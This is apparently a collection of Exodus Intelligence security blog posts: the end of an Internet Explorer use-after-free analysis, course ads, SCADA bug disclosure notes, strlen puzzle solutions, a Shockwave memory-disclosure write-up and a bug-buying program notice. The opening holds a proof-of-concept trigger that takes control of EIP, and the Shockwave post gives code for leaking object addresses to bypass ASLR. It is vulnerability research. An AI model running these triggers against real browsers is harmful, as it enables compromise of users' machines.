		animvalues = "u4141u4141"
		while(animvalues.length < 0xDC) {
			animvalues += animvalues
		}
		for(i = 0; i < 21; i++) {
			animvalues += ";cyan";
		}
		for(i =0; i < 20; i++) {
			document.createElement('button');
		}
		e_div.appendChild(document.createElement('button'))
		e_div.firstChild.applyElement(e_form);

		e_div.innerHTML = ""
		e_div.appendChild(document.createElement('body'));

		CollectGarbage();

		try {
			a = document.getElementById('myanim');
			a.values = animvalues;
		}
		catch(e) {}

	}

</script>
</head>
<body onload="eval(helloWorld())">
	<t:ANIMATECOLOR id="myanim"/>
	<div id="divelm"></div>
	<form id="formelm">
	</form>
</body>
</html>

Download the POC here.
Running this results in:

(fbc.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880
eip=41414141 esp=0162d798 ebp=0162d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
1:028> dc eax
001bb0f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb108  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb118  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb128  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb138  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb148  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb158  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb168  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
1:028> dc edi
00235880  001bb0f8 02367fc8 02367fe0 0018ec10  ......6...6.....
00235890  0019eff0 0019f008 0019f020 0019f038  ........ ...8...
002358a0  0019f050 0019f068 0019f080 0019f098  P...h...........
002358b0  0019f0b0 0019f0c8 0019f0e0 0019f0f8  ................
002358c0  0019f110 0019f128 0019f140 0019f158  ....(...@...X...
002358d0  0019f170 0019f188 eaa4d113 ff0c0100  p...............
002358e0  3cf74690 0021fac0 00234b90 3cf77870  .F.<..!..K#.p
1:028> dc poi(edi+10)
0019eff0  00790063 006e0061 50540000 302e312f  c.y.a.n...TP/1.0
0019f000  e88f2258 ff0e0120 00790063 006e0061  X".. ...c.y.a.n.
0019f010  6d690000 48656c70 e88f225b ff0e0130  ..impleH["..0...
0019f020  00790063 006e0061 0a0d0000 65746144  c.y.a.n.....Date
0019f030  e88f225e ff0e0164 00790063 006e0061  ^"..d...c.y.a.n.
0019f040  30200000 37353a31 e88f2251 ff0e0147  .. 01:57Q"..G...
0019f050  00790063 006e0061 70790000 74203a65  c.y.a.n...ype: t
0019f060  e88f2254 ff0e0168 00790063 006e0061  T"..h...c.y.a.n.



From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that.

Conclusion

This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn't require heapspray, but all in all this bug can be exploited quite reliably.
If you are interested in analyzing vulnerabilities and writing exploits for them you can take a look at our training, which will focus on IE9.
It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at info@exodusintel.com.

- Peter Vreugdenhil
Exodus Intelligence

Exodus Intelligence 2013 Training Courses

Thoughts of winning Pwn2Own–or just have the urge to thoroughly bend browsers to your will? Come learn the tricks of the trade firsthand from a former Pwn2Own winner himself! Peter Vreugdenhil and Brandon Edwards will be teaching their brand-new, never before seen Browser Exploitation class in which they will be dropping all sorts of tricks amassed from many virtual years browsing the web in their own special way (including new ways to force memory disclosure to bypass ASLR). In order to deliver the most up-to-date material for such a course, the instructors will walk through the process of (reliably) exploiting an IE vulnerability patched my Microsoft within the last 3 months.

We will also have Aaron Portnoy and Zef Cekaj, who have spent the last year contemplating the art that is reverse engineering and synthesizing what differentiates the successful vulnerability hunters from the bit flippers. They are excited to be giving their new Breaking Binary Applications class, covering browser plugins (and memory disclosure), enterprise server-side software (expect at least one un-patched remote Microsoft Exchange bug), the hilarity that is SCADA (or: how to get Slashdot’ed with only 6 hours of work), and more. Learn their field-tested techniques to discover 0-day and their processes for popping the elusive calculator.

Students will be required to take a blood oath swearing their agreement to be bound by the Exodus FrieNDA and not discuss the (currently) unpatched vulnerabilities we’ll be exploiting during the two courses.

…OK, maybe the blood oath was going a bit far, but seriously: no snitches (show some sympathy at least, these bugs are on death row).

The training classes will be hosted at the Exodus Intelligence office in sunny Austin, Texas during the week of February 18th. The benefit of hosting it at our office is that you’ll be able to interact with the whole Exodus team as well as enjoy a week of training followed by an authentic Texas BBQ party at a popular downtown bar hosted by our resident grillmaster Logan Brown (you may remember his name from the Ekoparty Texas vs Argentinian BBQ competition last year). Drinks and food will be included, of course.


Abstracts

Breaking Binary Applications

Aaron Portnoy and Zef Cekaj

Prerequisites:

  • IDA Pro at least version 6.1 with a working IDAPython and PySide built by Hex-Rays on Windows (virtualized is acceptable)
  • The ability to run VMware virtual machines (player or workstation will work)
  • A working install of the IDA Toolbag plugin for IDA Pro
  • A working knowledge of the Python programming language

This three day training is an extremely hands-on course intended to give the attendees realistic experience auditing closed-source applications for the purposes of vulnerability discovery and exploitation. We will cover the crucial methodologies we’ve used over the years to unearth flaws in server-side, client-side, SCADA products, browser plugins, media players, mail clients, and more.

The first day will be devoted to building the students’ arsenal of tools and techniques to enumerate software’s attack surface, determining where weak points that should be targeted exist, peeking under the hood to gain in-depth knowledge about how the software operates, and ultimately preparing to break it. Day one will also cover specific tools that can greatly improve the efficiency of a bug hunter. Most notably, we will cover our IDA Toolbag plugin and demonstrate how, through the power of IDAPython, a reverse engineer can automate many of the more tedious aspects of the bug hunting process.

The following two days will be entirely devoted to applying the aforementioned techniques against products that the Exodus team has found critical vulnerabilities in. Each target has been specifically chosen to impart upon the student a unique lesson about the bug hunting process.

If time permits we will walk the class through exploitation of one or more of the bugs they discovered. This will, of course, cover bypassing any of the exploitation mitigations that are present.


Browser Exploitation

Peter Vreugdenhil and Brandon Edwards

Prerequisites:

  • IDA Pro at least version 6.1 with a working IDAPython and PySide built by Hex-Rays on Windows (virtualized is acceptable)
  • The ability to run VMware virtual machines (player or workstation will work)
  • A working install of the IDA Toolbag plugin for IDA Pro
  • A working knowledge of the Python programming language

This two day class, taught by a former Pwn2Own winner and pioneer in the art of client-side vulnerability development, is a highly interactive, hands-on training delving into the intricacies of browser exploitation. This course starts by introducing the methods used to uncover some of the most impactful recent browser vulnerabilities, and then quickly moves into the processes of in-depth analysis and vulnerability comprehension, revealing the tools and techniques used by the Exodus team to transform crashes into reliable exploits, bypassing modern protections such as DEP and ASLR along the way.

Students will develop a working familiarity with the concepts presented through hands-on exercises, applying the course material to exploit modern vulnerabilities such as MS012-063. This course focuses on Internet Explorer, but students will leave equipped with a foundation of knowledge and insight applicable to exploiting any modern browser.


Schedule and Pricing

A limited number of student and group discounts are available. Please e-mail us at info@exodusintel.com for more information.

Breaking Binary Applications: February 18th-20th (3 days) – $3000 USD
Browser Exploitation: February 21st and 22nd (2 days) – $2000 USD

You may register on the Exodus website at: http://www.exodusintel.com/#2013.


Testimonials

Via E-Mail:

"I just wanted to take a moment to let you know that I thought the training you gave over the past three days was wonderful. I believe I learnt a lot from both of you, and truly appreciate the effort that you guys put in preparing the materials, finding the teaching targets, doing up the exploits beforehand, and everything else. I know for sure that there must have been much, much more that transpired behind the scene that you guys did that we, who simply sat there and enjoyed the fruits of your labour, would definitely be oblivious to :P So, thanks a bunch for that! It's truly appreciated!

I thought the best part of the training was two-fold: First, in just seeing how you do things, both in terms of the little "demo" reversing you gave, as well as in terms of the way you describe your approach and thought processes, not out-rightly but subtly, perhaps even unconsciously, that gave a tremendous insight into what I and my team don't do well, or can improve on. Those little nuggets of information obviously came from loads of experience, and it's something that I really value, and will be taking home :) The second bit is the part about automating reversing. To be honest I never really thought that reversing could be made so much quicker and easier, and most importantly, more precise ("cheating", you called it :P). Your sharing about automation techniques opened up a whole new dimension -- to think about, and to get started on."



"The training was great! This was my first training at any security conference and I think was lucky to attend the best one! I wish this was for 5 days :)"



"I thought the class last week was great. It was my favorite part of the Pwn2Own week and out of all the other trainings I’ve been to, your training was the best and most useful I’ve attended. Some other student’s I talked to were at times overwhelmed by the rapid fire delivery of the course material. Personally, I liked the fast paced nature of the class because it kept me actively interested and engaged. The “real world” nature of the exercises also made them more fun to do."


Via Twitter:

"Great first day of Bug Hunting with @aaronportnoy and Zef. Eyes open farther; hope I can sleep!"

"Just attended "Bug Hunting and Analysis 0x65" by @aaronportnoy and @the_navs. If you want to discover Windows 0days, take this class."

"Epic day one of bug hunting. Great material and instruction. Looking forward to day two. @aaronportnoy"

"@aaronportnoy Today was an intense training day. The concepts and techniques are growing on me as time is passing by. You and Zef are great."


Contact

You can always e-mail info@exodusintel.com for any inquiries regarding our training classes or vulnerability intelligence feed offerings.

What does a flightless bird and SCADA software have in common?

They’re both easy targets.

If you’ve been paying attention to the security industry for any length of time then you’re probably familiar with the non-disclosure vs responsible disclosure vs full disclosure stances researchers take with regard to vulnerabilities they discover. As the value of vulnerabilities has been steadily going up over the years, more and more individuals and organizations are aligning themselves with the non-disclosure crowd and not for the traditional reasons. These days there seem to be an increasing number of cases of individuals hiding behind non-disclosure for reasons that generally tend to end up revolving around them making more money than reputable outlets provide.

When I read that a new company out of Italy Malta called ReVuln has discovered vulnerabilities in SCADA software and decided not to inform the affected vendors, but rather sell the information privately to their customers, I was intrigued.

Here is some of the press coverage they received:

Security Firm Showcases Vulnerabilities in SCADA Software, Won’t Report Them to Vendors

ReVuln claims 0day vulnerabilities for SCADA systems

Security Firm ReVuln Showcases SCADA Zero-Days

ReVuln showcases vulnerabilities in SCADA software, but won’t report them to vendors

Exploit broker releases EXPLICIT VIDS of holes in industrial control kit

As ReVuln founder Luigi Auriemma is quoted as saying:

“ICS-CERT has just contacted us some minutes ago requesting more details but we don’t release information,” “[The vulnerabilities] are part of our portfolio for our customers so no public details will be released; they will remain private.”

For those of you who do not know, SCADA systems run things like power plants, airports, manufacturing facilities, and so on (read the wikipedia page for more info). While these may not be defined as “Internet infrastructure”, I would argue that they are even more crucial to the safety and security of the general populace (especially when you think about the national security implications of vulnerabilities in these systems).

On Thanksgiving day I had a morning’s worth of time to wait for a turkey to cook, so I decided to take a shot at finding as many SCADA 0day vulnerabilities as possible. As we at Exodus we responsibly report all vulnerabilities we deal with, my goal was to report any such findings for free to ICS-CERT, the group responsible for collaborating with SCADA vendors to ensure vulnerabilities are fixed.

Here’s a list of the vendors and types of vulnerabilities I found (23 in all):

Rockwell Automation

  • 1 remote code execution vulnerability
  • 1 denial of service vulnerabilty
  • discovery that one piece of Rockwell software installs Adobe Reader 8 which is susceptible to an innumerable amount of remote code execution flaws

Schneider Electric

  • 3 remote code execution vulnerabilities
  • 1 denial of service vulnerability

Indusoft

  • 1 denial of service vulnerability

RealFlex

  • 8 denial of service vulnerabilities

Eaton Corporation

  • 3 remote code execution vulnerabilities
  • 2 denial of service vulnerabilities
  • 1 arbitrary file download vulnerability
  • 1 arbitrary file deletion vulnerability
  • 1 arbitrary file upload/overwrite vulnerability

The most interesting thing about these bugs was how trivial they were to find. The first exploitable 0day took a mere 7 minutes to discover from the time the software was installed. For someone who has spent a lot of time auditing software used in the enterprise and consumer space, SCADA was absurdly simple in comparison. The most difficult part of finding SCADA vulnerabilities seems to be locating the software itself. I plan to put in a request to the ICS-CERT that they perhaps establish a repository of SCADA software for researchers like myself to audit (provided they agree to disclose the vulnerabilities, that is). Even a list of what software is of interest would be beneficial.

All of the vulnerabilities listed above will be responsibly disclosed to the ICS-CERT team just following the publication of this post.

Now, I realize I haven’t found nearly all the vulnerabilities in these products, but hopefully there is some overlap with those that were never going to end up in the hands of those able to fix them. I will probably take another (longer than one morning) shot at similar software sometime in the future, but for now it was just a nice way to pass the time.

Happy Thanksgiving.


Aaron
@aaronportnoy

Reversing the Interview Process

As you may know, we recently brought Rolf Rolles on board the team here at Exodus. We all met at our Austin office and Rolf spent a week working alongside us. Our interview process doesn’t consist of contrived questions intended to observe the interviewee’s capacity for mental acrobatics. Traditionally, when we bring someone in for consideration we are already familiar with their past work and skillset. What we are more interested in is evaluating their capacity to work as part of our team. So, Rolf spent his time auditing code and writing some instrumentation tools for some of the problems we were facing at the time. It went very well, and we’re thrilled that he decided to join us.

One night during that week we were chatting with Rolf about random programming problems and he recalled the story of a past interview whereby he was asked to implement a strlen() function in C that, when compiled, would not contain any conditional branches. He didn’t pose the problem as a challenge but Brandon, Zef, and I all found it intriguing and took a shot at solving it. Leave it to Rolf Rolles to reverse the interview process itself…

Spoiler alert: what follows are our independently created solutions.


Brandon’s Solution:


#include <stdio.h>
#define f(b) ((-b)>>31)&1
typedef unsigned int (*funcptr)(unsigned int x);
funcptr functable[2];
unsigned char *p;
unsigned int done(unsigned int x)
{
    return x;
}
unsigned int counter(unsigned int x)
{
    return(functable[f(*(p+x+1))](x+1));
}
int  main(int argc, char *argv[])
    unsigned int len;
    p = (unsigned char *)argv[argc-1];
    functable[0] = (funcptr)&done;
    functable[1] = counter;
    len = functable[f(*p)](0);
    printf("len is %un", len);
    return 0;
}


Zef’s Solution:


/*
*
* strlen without conditional branch
* compiles with -Wall -ansi
*/

#include <stdio.h>

int _gtfo(char *s);
int _str_len(char *s);
int (*f[])(char *s) = {_gtfo, _str_len};

int _gtfo(char *s)
{
    return -1; /* set to '0' to include trailing null */
}

int _str_len(char *s){
    char c = *s;
    return f[((c & 0x01))|
    ((c & 0x02) >> 1)|
    ((c & 0x04) >> 2)|
    ((c & 0x08) >> 3)|
    ((c & 0x10) >> 4)|
    ((c & 0x20) >> 5)|
    ((c & 0x40) >> 6)|
    ((c & 0x80) >> 7)](++s) +1 ;

}

int main(int argc, char *argv[])
{
    if(argc > 1 ) printf("strlen("%s") = %dn", argv[1], _str_len(argv[1]));
    return 0;
}

Zef’s description:

“So, my immediate thought was to use function pointers to ‘conditionally’ execute code without a conditional branch. There are two possible states for each member of a string when performing a ‘strlen’-type operation. ‘Terminator’ and ‘Not Terminator’. In this case the ‘Terminator’ for a C-string is ‘NULL’ (0x00). This of course is the only value with 0 bits set; by masking each bit in the 8 bit value and shifting to the lsb then combining the values with a ‘|’ operation, a binary state is created allowing for the indepedent execution of the two defined states ‘Terminator’ and ‘Not Terminator'”.


Aaron’s Solution:

As I admittedly suck at C, I approached the problem in straight assembly (I know, that’s cheating. And yes, this could be achieved with a rep scasb, but that’s just too easy). However, I was able to solve the problem in 27 bytes:


[BITS 32]

section .text

global _start

_start:
    pop eax
    pop eax
    xor eax, eax
    xor ebx, ebx
    pop esi

_continue:
    mov al, [esi]     add al, 0xFF
    salc
    inc al
    lea ecx, [0x8048097+eax*4]     jmp ecx
inc ebx
inc esi
jmp _continue
int 0x80

The three pops that occur within _start are to get access to argv[1] (the string to be measured, provided on the command line). The last pop esi puts a pointer to the string into the esi register.

The mov al, [esi] grabs a single byte off the string. Then, the add al, 0xFF is used to determine whether the byte is NULL or not. If the value is non-NULL, the add to the 8-bit register al will set the Carry flag. If it is NULL, it will not set the CF.

The next instruction is actually considered undocumented (even objdump shows the mnemonic as ‘bad’). What the salc instruction does is sets the al register to 0xFF if the Carry flag is set, otherwise it sets it to 0x00. This is the method I used to implement a binary state to determine if the character is NULL or not.

The inc al instruction then increments al, which was either 0xFF or 0x00. After the inc it will either be 0x00 or 0x01.

The lea ecx, [0x8048097+eax*4] instruction loads into ecx either the address 0x8048097 or 0x804809b. These addresses are significant and can be observed by objdump’ing the assembled binary:


$ objdump -d strlen_no_conditionals -M intel

strlen_no_conditionals: file format elf32-i386

Disassembly of section .text:

08048080 :
 8048080:       58                      pop    eax
 8048081:       58                      pop    eax
 8048082:       31 c0                   xor    eax,eax
 8048084:       31 db                   xor    ebx,ebx
 8048086:       5e                      pop    esi

08048087 :
 8048087:       8a 06                   mov    al,BYTE PTR [esi]  8048089:       04 ff                   add    al,0xff
 804808b:       d6                      (bad)
 804808c:       fe c0                   inc    al
 804808e:       8d 0c 85 97 80 04 08    lea    ecx,[eax*4+0x8048097]  8048095:       ff e1                   jmp    ecx
 8048097:       43                      inc    ebx
 8048098:       46                      inc    esi
 8048099:       eb ec                   jmp    8048087 
 804809b:       cd 80                   int    0x80
$

So, if the character is not NULL, the code will jmp ecx to 0x8048097 which increments the string length counter (ebx) and increments the string pointer (esi) and then branches unconditionally to _continue.

If the value was NULL, the jmp ecx will land directly at the int 0x80. As the size of the inc ebx and inc esi and jmp _continue is exactly 4 bytes, the lea instruction very conveniently can load either the address of the inc ebx or directly at the int 0x80, thus removing the need for any NOP-like instructions.

The last convenient optimization to note is that the int 0x80 will execute the syscall specified by the eax register. Well, because the result of the add/salc/inc condition will set eax to 1 only when a NULL is found, the int 0x80 will execute syscall #1 which on Linux is exit(). Additionally, the exit code is specified by the ebx register. That is why I used the ebx register as my counter to hold the string length. So, upon execution of the interrupt, the exit code will contain the length of the string as can be observed by running the assembled binary and inspecting the return value:


$ nasm strlen_no_conditionals.asm -f elf -o a.o
$ ld -o strlen_no_conditionals a.o
$ ./strlen_no_conditionals "ExodusIntel" ; echo $?
11
$ ./strlen_no_conditionals "should return 16" ; echo $?
16
$


Rolf’s Solution:

“Basically, the fundamental problem to overcome with this challenge is to ‘make a decision’ — that is to say, decide when to terminate the iteration upon reaching a NULL character — without using an explicit jcc-style conditional branch. A few minutes’ reflection upon this problem yields that we could use recursion into a function pointer table with 256 entries, where 255 of the entries increased some counter variable, and the entry at 0 terminates the procedure and returns the counter. In doing so, we have replaced all conditional jumps with one indexed, switch jump. Some further reflection provides the reduction of the table size from 256 entries down to two.”


typedef int (*ctr)(char *);
int func(char *);
int func_x(char *c) { return 1+func(c); }
int func_0(char *c) { return 0; }
ctr table[2] = { &func_0, &func_x };
int func(char *c) { return table[!!*c](c+1); }


If you’ve come up with an interesting approach, we’d love to see it. Feel free to leave a comment or some such.


Aaron Portnoy
@aaronportnoy

Adobe Shockwave and Introspection

From Wikipedia:
    In computing, type introspection is the ability for a program to examine the type or properties of an object at runtime.

These days it seems there is quite a lot of research being done on various ways to disclose the contents of an application’s memory. With the increasing prevalence of exploit mitigations intended to randomize the location of data in a process, the value of such memory disclosures is becoming very apparent.

In this post I’d like to share a very trite example of an information leak I ran across while poking around with Adobe’s Shockwave Player.

Adobe Shockwave is a piece of software implemented as a browser plug-in that Adobe claims runs on over 450 million desktop systems. The Player renders Adobe Director files which can contain 3D media, audio, video, and other web content. Additionally, Shockwave contains an interpreter for the Lingo programming language which allows a developer to embed scripting code to perform a multitude of tasks via the Lingo API.

Lingo supports type introspection and this functionality has many legitimate uses, but for the purposes of this blog post I’ll demonstrate a potentially nasty side effect that can result.

As it turns out, if a Lingo programmer retrieves a reference to a created object and attempts to print it out, the interpreter will actually disclose where in memory the object resides. Several other languages support this, the first that comes to mind is Python via the id() function:


>>> a = "hihi"
>>> hex(id(a))
'0x22c83e0'
>>>

For a dynamic language that is not being executed in the context of a browser, this is just fine. However, such functionality can be abused to aid in exploitation of memory corruption vulnerabilities when in the context of another application.

Consider the following Lingo code:


on startMovie
  x = window("stage").movie
  trace(x)
end

When this is executed inside the Director application (used to create Shockwave files), the Message window outputs the following:


-- <Object _movie 2 b50244>

When executed in the context of a browser and combined with the gotoNetPage API, this can be leveraged to send that string back to a javascript function:


gotoNetPage("javascript: void ( disclose('" & x & "') );")

The HTML I used to embed the Shockwave file and to display the object properties looks like this:

<html>
<script language="javascript">

function disclose(x) {
alert(x);
}
</script>

<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=test width=600 height=600 VIEWASTEXT>
<param name=src value="test.dir">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=none>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
</embed>
</object>
</body>
</html>

When this is executed in a browser, our alert fires and displays the string:

This address can be verified by attaching a debugger to the browser process and inspecting that address:


0:022> !address 0x3db01fc
  03db0000 : 03db0000 - 00102000
     Type 00020000 MEM_PRIVATE
     Protect 00000004 PAGE_READWRITE
     State 00001000 MEM_COMMIT
     Usage RegionUsageHeap
     Handle 00150000
0:022> !heap -p -a 0x3db01fc
   address 03db01fc found in
   _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
     03db0018 20000 0000 [0b] 03db0020 100000 - (busy VirtualAlloc)

Here we can see the address is in the heap and is part of an allocation of size 0x100000. This is because Shockwave utilizes a custom memory manager on which Logan Brown and I gave a presentation at CanSecWest in 2011.

What is interesting to note is that the address of the “_movie” object is located 0x1dc bytes from the start of the allocation. As it turns out, the _movie object is always placed at that offset. This is interesting from an exploitation standpoint because there are certain function pointers that the memory manager uses that are also at fixed offsets from the start of that allocation:


0:022> u poi(0x03db0020+0x10) L3
IML32!Ordinal2064+0x6b70:
6907d880 8b4c2404 mov ecx,dword ptr [esp+4] 6907d884 8b41fc mov eax,dword ptr [ecx-4] 6907d887 8b5014 mov edx,dword ptr [eax+14h]

The address of other objects can also be disclosed, but I chose to show the _movie object as it is one of the first allocated by the custom memory manager and is of particular interest due to its consistently relative offset from the allocation shown above.

That’s it… I ran across this “intended functionality” some time ago, but didn’t bother to discuss it due to the fact that it is only useful when exploiting a browser-based vulnerability and can only be utilized if the browser has the Shockwave plug-in installed.


Aaron Portnoy
@aaronportnoy

EIP August Incentives

The mood here at Exodus Intelligence is excitement over the community reception of  our EIP program. We have had over 60 submissions in the past 6 weeks since we launched, and we have been able to purchase over 20% of the submissions.

That number might sound low, but it is no secret that we are a little more particular in what we pursue, as we are actually exploiting each acquisition. We also are looking to make the largest impact possible, by only pursuing vulns affecting common, and widely deployed software. To counter this selectiveness, we are paying our researchers almost double what is offered at similar programs, as we value the information, and the researchers.

Another notable difference in our program, is that we are striving for a much more appropriate turn around in our analysis (10 days maximum) and we promote interaction and communication with our researchers.

The purpose of this blog is not only to boast about our program, but to notify the research community, that we are planning on boosting our purchasing power for the month of August by the following factors:

    • Price Match Guarantee

We will beat any offer from any other vulnerability acquisition program for exploitable submissions that we consider valuable to our clients

 

 

    • Charitable Donation Matching

We will dollar for dollar match any researcher that chooses to donate an Exodus vulnerability offer to an industry supporting charity (such as EFF)

 

 

    • Researcher Appreciation Multiplier

All offers we make for vulnerabilities submitted during the month of August will receive an additional 25% bonus

 

We are very grateful for our researchers, and we strive to make EIP the best program possible. To keep interest from the community and our researchers, we plan to periodically have incentive months similar to this. We will feel out how this month goes to determine what we will do next, and we are open for suggestions from the community on ideas for future incentives.

 

Announcing the Exodus Intelligence Program

We are excited to announce that the Exodus Intelligence Program is now accepting submissions!

The EIP was designed by those with a long history both discovering vulnerabilities as well as procuring them through various acquisition programs. Our collective experience has allowed us to architect the EIP such that it is appealing to those who have the skill and desire to receive compensation for their research.

All vulnerabilities purchased through the EIP will be disclosed to the affected vendor(s) for remediation.

Some of the benefits for researchers participating in the EIP include a 10 business day decision timeline, starting when a submission is first received. We also intend to maintain a highly transparent program whereby our analysts are reachable by the contributing researchers for any questions. For those submissions we do procure, we will provide the researcher who sent it in with our internal analysis as to the root cause and exploitability because we believe it is essential to give back to and aid our researchers in their pursuit of knowledge.

As Exodus Intelligence does not support any products of our own, we are interested not only in code execution issues, but also vulnerabilities that other acquisition programs may not be (local vulnerabilities, memory disclosures, techniques).

One of the main focuses of Exodus is to provide information to our customers on vulnerabilities we believe are not only exploitable, but likely to be exploited. While this means we may be turning down submissions that are simply theoretically exploitable, it also means we are able to better compensate researchers for the work we are interested in.

There is a FAQ available on the EIP website, but if you have any specific questions feel free to e-mail us at eip@exodusintel.com (PGP).

For more generic questions or press inquiries, please use info@exodusintel.com (PGP).

 

Posted by: Aaron Portnoy, Zef Cekaj, Logan Brown, Brandon Edwards